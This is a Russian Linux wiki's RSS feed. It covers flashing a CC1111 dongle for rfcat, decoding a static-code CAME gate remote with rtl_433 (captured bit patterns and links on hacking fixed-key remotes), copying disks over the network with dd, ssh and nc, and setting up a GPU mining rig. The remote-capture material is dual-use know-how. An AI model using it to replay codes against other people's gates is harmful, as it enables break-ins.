&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 CC1111 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 rfcat&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430_cc1111_\u0434\u043b\u044f_\u0440\u0430\u0431\u043e\u0442\u044b_\u0441_rfcat&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;4953-8253&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;прошивка_с_помощью_cctool&quot;&gt;Прошивка с помощью cctool&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Из-под &lt;strong&gt;linux&lt;/strong&gt; и &lt;strong&gt;MacOS&lt;/strong&gt; прошивать &lt;strong&gt;СС1111&lt;/strong&gt; можно с помощью &lt;a href=&quot;http://sourceforge.net/projects/cctool/files/&quot; class=&quot;urlextern&quot; title=&quot;http://sourceforge.net/projects/cctool/files/&quot; rel=&quot;ugc nofollow&quot;&gt;cctool&lt;/a&gt;. На всякий случай утащил к себе: &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/cc-tool-0.26-src.tgz&quot; class=&quot;media mediafile mf_tgz&quot; title=&quot;linux_faq:cc-tool-0.26-src.tgz (373.3 KB)&quot;&gt;cc-tool-0.26-src.tgz&lt;/a&gt;&lt;br/&gt;

Эта утилитка поддерживает китайский &lt;strong&gt;SmartRF04&lt;/strong&gt; (ID 11a0:eb20 Chipcon AS).
&lt;/p&gt;

&lt;p&gt;
Ставим зависимости:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install libusb-1.0 libboost-all-dev&lt;/pre&gt;

&lt;p&gt;
Распаковываем и переходим в папку с &lt;strong&gt;cctool&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd cc-tool/&lt;/pre&gt;

&lt;p&gt;
Копируем правила udev и рестартуем сервис:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo cp ./udev/90-cc-debugger.rules /etc/udev/rules.d/
sudo /etc/init.d/udev restart&lt;/pre&gt;

&lt;p&gt;
Собираем и ставим:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;./configure 
make
sudo make install&lt;/pre&gt;

&lt;p&gt;
После этого подключаем CC1111 к SmartRF04EB и пробуем запустить. При запуске без параметров CC1111 моргнет лампочкой и прога определит программатор и сам девайс:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ sudo cc-tool
Programmer: SmartRF04DD
Target: CC1111
No actions specified&lt;/pre&gt;

&lt;p&gt;
Делаем бекап прошивки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo cc-tool -r ./CC1111_USB_Chronos_backup.hex
Programmer: SmartRF04DD
Target: CC1111
Reading flash (32 KB)...
Completed (8.02 s.)&lt;/pre&gt;

&lt;p&gt;
И дальше по очереди прошиваем &lt;strong&gt;RfCatChronos-150225.hex&lt;/strong&gt; и &lt;strong&gt;RfCatChronosCCBootloader-150225.hex&lt;/strong&gt; из папки распакованного &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/rfcat_150225.tgz&quot; class=&quot;media mediafile mf_tgz&quot; title=&quot;linux_faq:rfcat_150225.tgz (422.1 KB)&quot;&gt;rfcat&lt;/a&gt; - &lt;strong&gt;rfcat_150225/firmware/bins/&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;  $ sudo cc-tool -v -e -w RfCatChronosCCBootloader-150225.hex 
  Programmer: SmartRF04DD
  Target: CC1111
  Erasing flash...
  Completed       
  Writing flash (14 KB)...
  Completed (4.41 s.)
  Verifying flash...
  Completed (0.66 s.)
  
  $ sudo cc-tool -v -e -w RfCatChronos-150225.hex
  Programmer: SmartRF04DD
  Target: CC1111
  Erasing flash...
  Completed       
  Writing flash (14 KB)...
  Completed (4.41 s.)
  Verifying flash...
  Completed (0.66 s.) &lt;/pre&gt;

&lt;p&gt;
Если система говорит:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Error occured: libusb_control_transfer (out) failed, Pipe error&lt;/pre&gt;

&lt;p&gt;
то в моем случае было достаточно нажать кнопку &lt;strong&gt;RESET&lt;/strong&gt; на &lt;strong&gt;SmartRF04&lt;/strong&gt; и снова запустить &lt;strong&gt;cc-tool&lt;/strong&gt;.
&lt;/p&gt;

&lt;p&gt;
В результате прошивки CC1111 стал определяться так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ lsusb 
Bus 004 Device 009: ID 1d50:6047 OpenMoko, Inc.&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0448\u0438\u0432\u043a\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e cctool&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430_\u0441_\u043f\u043e\u043c\u043e\u0449\u044c\u044e_cctool&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;8254-10795&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;собираем_и_используем_rfcat&quot;&gt;Собираем и используем rfcat&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
На всякий случай ставим зависимости:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install libusb-dev python-usb&lt;/pre&gt;

&lt;p&gt;
Распаковываем, переходим в папку с rfcat и устанавливаем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd ~/rfcat_150225/
sudo python setup.py install&lt;/pre&gt;

&lt;p&gt;
Копируем файлик с правилами udev из папки rfcat:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;  sudo cp etc/udev/rules.d/20-rfcat.rules /etc/udev/rules.d
  sudo udevadm control --reload-rules&lt;/pre&gt;

&lt;p&gt;
Теперь можем запустить:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;rfcat -r&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c rfcat&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c_\u0438_\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c_rfcat&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;10796-11362&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit7&quot; id=&quot;первые_попытки_декодировать_сигнал&quot;&gt;Первые попытки декодировать сигнал&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для того чтобы что-то передавать с помощью rfcat необходимо перехватить и декодировать сигнал. &lt;br/&gt;

Под декодированием я понимаю определение скорости передачи (baud rate) и информационного наполнения посылки.&lt;br/&gt;

Имеем - брелок &lt;strong&gt;CAME&lt;/strong&gt; &lt;strong&gt;TOP 434NA&lt;/strong&gt; на 433,92 &lt;abbr title=&quot;Megahertz&quot;&gt;MHz&lt;/abbr&gt;. 4 кнопки. Код - статический.&lt;br/&gt;

Подключаем тюнер, запускаем &lt;strong&gt;rtl_433&lt;/strong&gt; и смотрим:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;rtl_433 -a &lt;/pre&gt;

&lt;p&gt;
Тут параметр &lt;strong&gt;-a&lt;/strong&gt; заставляет &lt;strong&gt;rtl_433&lt;/strong&gt; выводить то что перехвачено, без декодирования формата сообщений (просто программа знает форматы сообщений нескольких десятков устройств и способна в реальном времени декодировать посылаемую информацию).&lt;br/&gt;

Также можно поиграть с папаметром &lt;strong&gt;-l&lt;/strong&gt;. Он задает уровень сигнала и по умолчанию равен 8000 и принимает значения до 32767. &lt;br/&gt;

Первая кнопка: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[00] {12} 75 60 : 01110101 0110&lt;/pre&gt;

&lt;p&gt;
Вторая кнопка: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[00] {12} 75 50 : 01110101 0101&lt;/pre&gt;

&lt;p&gt;
Третья кнопка: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[00] {12} 78 80 : 01111000 1000&lt;/pre&gt;

&lt;p&gt;
Четвертая кнопка: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[00] {12} ef a0 : 11101111 1010&lt;/pre&gt;

&lt;p&gt;
Судя по всему тут настроены две первые кнопки. И первые биты - это серийный номер брелка, а последние - команда.
&lt;/p&gt;

&lt;p&gt;
Теперь попробуем записать эти же сигналы с помощью &lt;strong&gt;Gqrx&lt;/strong&gt; и посмотрим на них в &lt;strong&gt;Audacity&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0435\u0440\u0432\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0438\u0433\u043d\u0430\u043b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0435\u0440\u0432\u044b\u0435_\u043f\u043e\u043f\u044b\u0442\u043a\u0438_\u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c_\u0441\u0438\u0433\u043d\u0430\u043b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;11363-13338&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit8&quot; id=&quot;usb_sdr_с_функцией_передатчика&quot;&gt;USB SDR с функцией передатчика&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://xakep.ru/2018/08/06/diy-sdr/&quot; class=&quot;urlextern&quot; title=&quot;https://xakep.ru/2018/08/06/diy-sdr/&quot; rel=&quot;ugc nofollow&quot;&gt;https://xakep.ru/2018/08/06/diy-sdr/&lt;/a&gt; &lt;br/&gt;

Оказалось, использовать в качестве передатчика можно и совсем не для этого придуманные устройства. А именно - адаптер &lt;strong&gt;USB-VGA&lt;/strong&gt; на базе чипа &lt;strong&gt;Fresco Logic FL2000&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;USB SDR \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u0447\u0438\u043a\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;usb_sdr_\u0441_\u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439_\u043f\u0435\u0440\u0435\u0434\u0430\u0442\u0447\u0438\u043a\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;13339-13719&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit9&quot; id=&quot;links&quot;&gt;Links&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;http://andrewmohawk.com/2012/09/06/hacking-fixed-key-remotes/&quot; class=&quot;urlextern&quot; title=&quot;http://andrewmohawk.com/2012/09/06/hacking-fixed-key-remotes/&quot; rel=&quot;ugc nofollow&quot;&gt;http://andrewmohawk.com/2012/09/06/hacking-fixed-key-remotes/&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;http://leetupload.com/blagosphere/index.php/2014/02/16/you-know-how-to-send-my-signal-setting-up-rfcat-from-scratch/&quot; class=&quot;urlextern&quot; title=&quot;http://leetupload.com/blagosphere/index.php/2014/02/16/you-know-how-to-send-my-signal-setting-up-rfcat-from-scratch/&quot; rel=&quot;ugc nofollow&quot;&gt;http://leetupload.com/blagosphere/index.php/2014/02/16/you-know-how-to-send-my-signal-setting-up-rfcat-from-scratch/&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;http://v3gard.com/2014/12/hacking-garage-door-remote-controllers/&quot; class=&quot;urlextern&quot; title=&quot;http://v3gard.com/2014/12/hacking-garage-door-remote-controllers/&quot; rel=&quot;ugc nofollow&quot;&gt;http://v3gard.com/2014/12/hacking-garage-door-remote-controllers/&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;https://xakep.ru/2014/10/31/rtl-sdr-first-steps/&quot; class=&quot;urlextern&quot; title=&quot;https://xakep.ru/2014/10/31/rtl-sdr-first-steps/&quot; rel=&quot;ugc nofollow&quot;&gt;https://xakep.ru/2014/10/31/rtl-sdr-first-steps/&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;http://rtl-sdr.ru/&quot; class=&quot;urlextern&quot; title=&quot;http://rtl-sdr.ru/&quot; rel=&quot;ugc nofollow&quot;&gt;http://rtl-sdr.ru/&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;https://code.google.com/p/rfcat/downloads/list&quot; class=&quot;urlextern&quot; title=&quot;https://code.google.com/p/rfcat/downloads/list&quot; rel=&quot;ugc nofollow&quot;&gt;https://code.google.com/p/rfcat/downloads/list&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;http://www.wes.id.au/2013/07/decoding-and-sending-433mhz-rf-codes-with-arduino-and-rc-switch/&quot; class=&quot;urlextern&quot; title=&quot;http://www.wes.id.au/2013/07/decoding-and-sending-433mhz-rf-codes-with-arduino-and-rc-switch/&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.wes.id.au/2013/07/decoding-and-sending-433mhz-rf-codes-with-arduino-and-rc-switch/&lt;/a&gt;
&lt;a href=&quot;http://travisgoodspeed.blogspot.ru/2011/01/generic-cc1110-sniffing-shellcode-and.html&quot; class=&quot;urlextern&quot; title=&quot;http://travisgoodspeed.blogspot.ru/2011/01/generic-cc1110-sniffing-shellcode-and.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://travisgoodspeed.blogspot.ru/2011/01/generic-cc1110-sniffing-shellcode-and.html&lt;/a&gt;
&lt;a href=&quot;http://adamsblog.aperturelabs.com/2013/03/you-can-ring-my-bell-adventures-in-sub.html&quot; class=&quot;urlextern&quot; title=&quot;http://adamsblog.aperturelabs.com/2013/03/you-can-ring-my-bell-adventures-in-sub.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://adamsblog.aperturelabs.com/2013/03/you-can-ring-my-bell-adventures-in-sub.html&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;https://github.com/dominicgs/USBProxy-CC1111&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/dominicgs/USBProxy-CC1111&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/dominicgs/USBProxy-CC1111&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;http://blog.thelifeofkenneth.com/2011/04/reprogramming-ez430-chronos-rf-dongle.html&quot; class=&quot;urlextern&quot; title=&quot;http://blog.thelifeofkenneth.com/2011/04/reprogramming-ez430-chronos-rf-dongle.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://blog.thelifeofkenneth.com/2011/04/reprogramming-ez430-chronos-rf-dongle.html&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;http://mightydevices.com/?p=300&quot; class=&quot;urlextern&quot; title=&quot;http://mightydevices.com/?p=300&quot; rel=&quot;ugc nofollow&quot;&gt;http://mightydevices.com/?p=300&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;http://m.electronicdesign.com/communications/understanding-modern-digital-modulation-techniques&quot; class=&quot;urlextern&quot; title=&quot;http://m.electronicdesign.com/communications/understanding-modern-digital-modulation-techniques&quot; rel=&quot;ugc nofollow&quot;&gt;Ликбез по схемам кодирования - ASK, OOK, PSK и прочее&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;https://greatscottgadgets.com/hackrf/&quot; class=&quot;urlextern&quot; title=&quot;https://greatscottgadgets.com/hackrf/&quot; rel=&quot;ugc nofollow&quot;&gt;Крутые хакерские девайсы https://greatscottgadgets.com/hackrf/&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;http://www.pittnerovi.com/jiri/hobby/electronics/keeloq/index.html&quot; class=&quot;urlextern&quot; title=&quot;http://www.pittnerovi.com/jiri/hobby/electronics/keeloq/index.html&quot; rel=&quot;ugc nofollow&quot;&gt; Декодирование Keeloq ASK с помощью GNU Radio &lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;http://zr6aic.blogspot.ru/2013/05/how-to-do-afsk-and-psk-demodulation.html&quot; class=&quot;urlextern&quot; title=&quot;http://zr6aic.blogspot.ru/2013/05/how-to-do-afsk-and-psk-demodulation.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://zr6aic.blogspot.ru/2013/05/how-to-do-afsk-and-psk-demodulation.html&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Links&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;links&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:6,&amp;quot;secid&amp;quot;:9,&amp;quot;range&amp;quot;:&amp;quot;13720-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>когда-нету-configure</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BA%D0%BE%D0%B3%D0%B4%D0%B0-%D0%BD%D0%B5%D1%82%D1%83-configure</link>
            <description>
&lt;p&gt;
Для того чтобы сгенерировать скрипт &lt;strong&gt;configure&lt;/strong&gt; нужно:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install libtool automake
libtoolize
aclocal
autoconf
automake --add-missing&lt;/pre&gt;

&lt;p&gt;
А затем можно компилить как обычно:&lt;br/&gt;

 &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ ./configure
$ make
$ make install&lt;/pre&gt;

&lt;p&gt;
Осторожно! при запуске &lt;strong&gt;autoscan&lt;/strong&gt; может перезаписаться файл &lt;strong&gt;configurei.in&lt;/strong&gt; . Возможно его придется восстановить из архива с исходниками.
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>конвертация-wiki</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BA%D0%BE%D0%BD%D0%B2%D0%B5%D1%80%D1%82%D0%B0%D1%86%D0%B8%D1%8F-wiki</link>
            <description>&lt;pre class=&quot;code&quot;&gt;find ./ -name &amp;quot;*.cs&amp;quot; -exec ./a.out {} {}.doku \;  -print&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>копирование-дисков-по-сети-с-помощью-dd-со-сжатием-на- ...</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BA%D0%BE%D0%BF%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D0%B4%D0%B8%D1%81%D0%BA%D0%BE%D0%B2-%D0%BF%D0%BE-%D1%81%D0%B5%D1%82%D0%B8-%D1%81-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E-dd-%D1%81%D0%BE-%D1%81%D0%B6%D0%B0%D1%82%D0%B8%D0%B5%D0%BC-%D0%BD%D0%B0-%D0%BB%D0%B5%D1%82%D1%83</link>
            <description>
&lt;p&gt;
Если мы хотим скопировать целиком диск, чтобы потом развернуть его, например, на виртуальной машине, то делаем так. На исходной машине загружаемся с &lt;a href=&quot;http://www.system-rescue-cd.org/&quot; class=&quot;urlextern&quot; title=&quot;http://www.system-rescue-cd.org/&quot; rel=&quot;ugc nofollow&quot;&gt;Live-CD&lt;/a&gt;, потом набираем команду:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dd if=/dev/sda bs=16384 | pigz -c | ssh host &amp;quot;cat &amp;gt; /file_sda.gz&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Тут &lt;strong&gt;host&lt;/strong&gt; - это удаленная машина на которую мы копируем содержимое диска &lt;strong&gt;/dev/sda&lt;/strong&gt; в файл &lt;strong&gt;/file_sda.gz&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
А потом можно загрузить целевую виртуальную машину с &lt;a href=&quot;http://www.system-rescue-cd.org/&quot; class=&quot;urlextern&quot; title=&quot;http://www.system-rescue-cd.org/&quot; rel=&quot;ugc nofollow&quot;&gt;Live-CD&lt;/a&gt; и залить на ее диск содержимое образа. Выполнять это надо с хоста на который мы скопировали образ &lt;strong&gt;/file_sda.gz&lt;/strong&gt;: &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pigz -dc /file_sda.gz | ssh VMHost &amp;quot;dd of=/dev/sda&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Тут VMHost - это хост виртуальной машины, загруженный с &lt;a href=&quot;http://www.system-rescue-cd.org/&quot; class=&quot;urlextern&quot; title=&quot;http://www.system-rescue-cd.org/&quot; rel=&quot;ugc nofollow&quot;&gt;Live-CD&lt;/a&gt;. &lt;strong&gt;/dev/sda&lt;/strong&gt; - это диск на который мы разворачиваем образ.&lt;br/&gt;

Посмотреть прогресс выполнения можно послав процессу dd сигнал &lt;strong&gt;-USR1&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kill -USR1 $dd_PID&lt;/pre&gt;

&lt;p&gt;
Тут $dd_PID - это PID процесса dd.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Чуть более сложный вариант:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;nc -l 1234 | bzip2 -d|dd of=/tmp/image.img bs=4096
dd if=/dev/sda bs=4096| bzip2 -9 | nc 1.2.3.4 1234 &lt;/pre&gt;

&lt;p&gt;
Вот так просто и хорошо получается сжатие, передача и распаковка в одном конвейере:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dd if=/dev/sda bs=16384 | pigz -c | ssh username@hostname &amp;quot;pigz -cd | dd of=/dev/sda bs=16384&amp;quot; &lt;/pre&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;копирование_директории_со_сжатием_на_лету&quot;&gt;Копирование директории со сжатием на лету&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;tar -cvzf - ./LLMBackstage | ssh teamcity tar -xvzf -&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0441\u043e \u0441\u0436\u0430\u0442\u0438\u0435\u043c \u043d\u0430 \u043b\u0435\u0442\u0443&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435_\u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438_\u0441\u043e_\u0441\u0436\u0430\u0442\u0438\u0435\u043c_\u043d\u0430_\u043b\u0435\u0442\u0443&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1902-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 18 Sep 2024 14:26:07 +0000</pubDate>
        </item>
        <item>
            <title>маиним-на-ubuntu-desktop-12-04</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BC%D0%B0%D0%B8%D0%BD%D0%B8%D0%BC-%D0%BD%D0%B0-ubuntu-desktop-12-04</link>
            <description>
&lt;p&gt;
Несколько слов о видеокартах. &lt;br/&gt;

Для 7970 оптимальным соотношением частот GPU/Mem мне кажется 0.57&lt;br/&gt;

Для 7950 оптимальное соотношение - 0,68&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Теперь про майнинг.&lt;br/&gt;

1. Устанавливаем Ubuntu.&lt;br/&gt;

2. Ставим SSH:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install ssh&lt;/pre&gt;

&lt;p&gt;
3. Ставим &lt;strong&gt;vnc4server&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install vnc4server&lt;/pre&gt;

&lt;p&gt;
Запускаем &lt;strong&gt;vnc4server&lt;/strong&gt; первый раз, чтобы задать пароль:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;vncserver :1 -geometry 1024x768 -depth 16 -pixelformat rgb565&lt;/pre&gt;

&lt;p&gt;
Прописываем в /etc/rc.local загрузку его при старте - перед добавляем &lt;strong&gt;exit 0&lt;/strong&gt; строку:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;su -l $USER -c &amp;quot;vncserver :1 -geometry 1024x768 -depth 16 -pixelformat rgb565&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Где $USER - заменяем на имя пользователя &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Теперь после перезагрузки у нас будет работать VNC на порту 5901.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
4. Ставим драйверы и необходимый софт:&lt;br/&gt;

Подготовка:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install build-essential cdbs fakeroot dh-make debhelper debconf libstdc++6 dkms libqtgui4 wget execstack libelfg0 dh-modaliases linux-headers-generic xserver-xorg-core libgcc1 lib32gcc1 libc6 screen&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install fglrx g++ libboost-all-dev python-numpy thunar openbox tint2 obmenu menu screen&lt;/pre&gt;

&lt;p&gt;
Распаковываем архив с драйвером и создаем пакеты:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sh amd-catalyst-13.4-linux-x86.x86_64.run --buildpkg Ubuntu/raring&lt;/pre&gt;

&lt;p&gt;
Устанавливаем сгенерированные пакеты:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo dpkg -i fglrx*.deb&lt;/pre&gt;

&lt;p&gt;
Создаём конфигурационный файл видео драйвера:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo amdconfig --initial -f --adapter=all&lt;/pre&gt;

&lt;p&gt;
Перезагружаемся.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
5. Скачиваем AMD-APP-SDK-v2.7-lnx64.tgz и ставим AMDSDK:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;tar -xvf AMD-APP-SDK-v2.7-lnx64.tgz
sudo ./Install-AMD-APP.sh&lt;/pre&gt;

&lt;p&gt;
Оно установится в папку &lt;strong&gt;/opt/AMDAPP/&lt;/strong&gt;&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Перезагружаемся.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
6. Скачиваем &lt;strong&gt;pyopencl-2013.1.tar.gz&lt;/strong&gt; и ставим &lt;strong&gt;pyopencl-2013.1&lt;/strong&gt;:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;tar -xvf pyopencl-2013.1.tar.gz
cd pyopencl-2013.1
sudo apt-get install python-setuptools
rm ./siteconf.py
./configure.py --cl-inc-dir=/opt/AMDAPP/include/ --cl-lib-dir=/opt/AMDAPP/lib/x86_64
make
sudo make install&lt;/pre&gt;

&lt;p&gt;
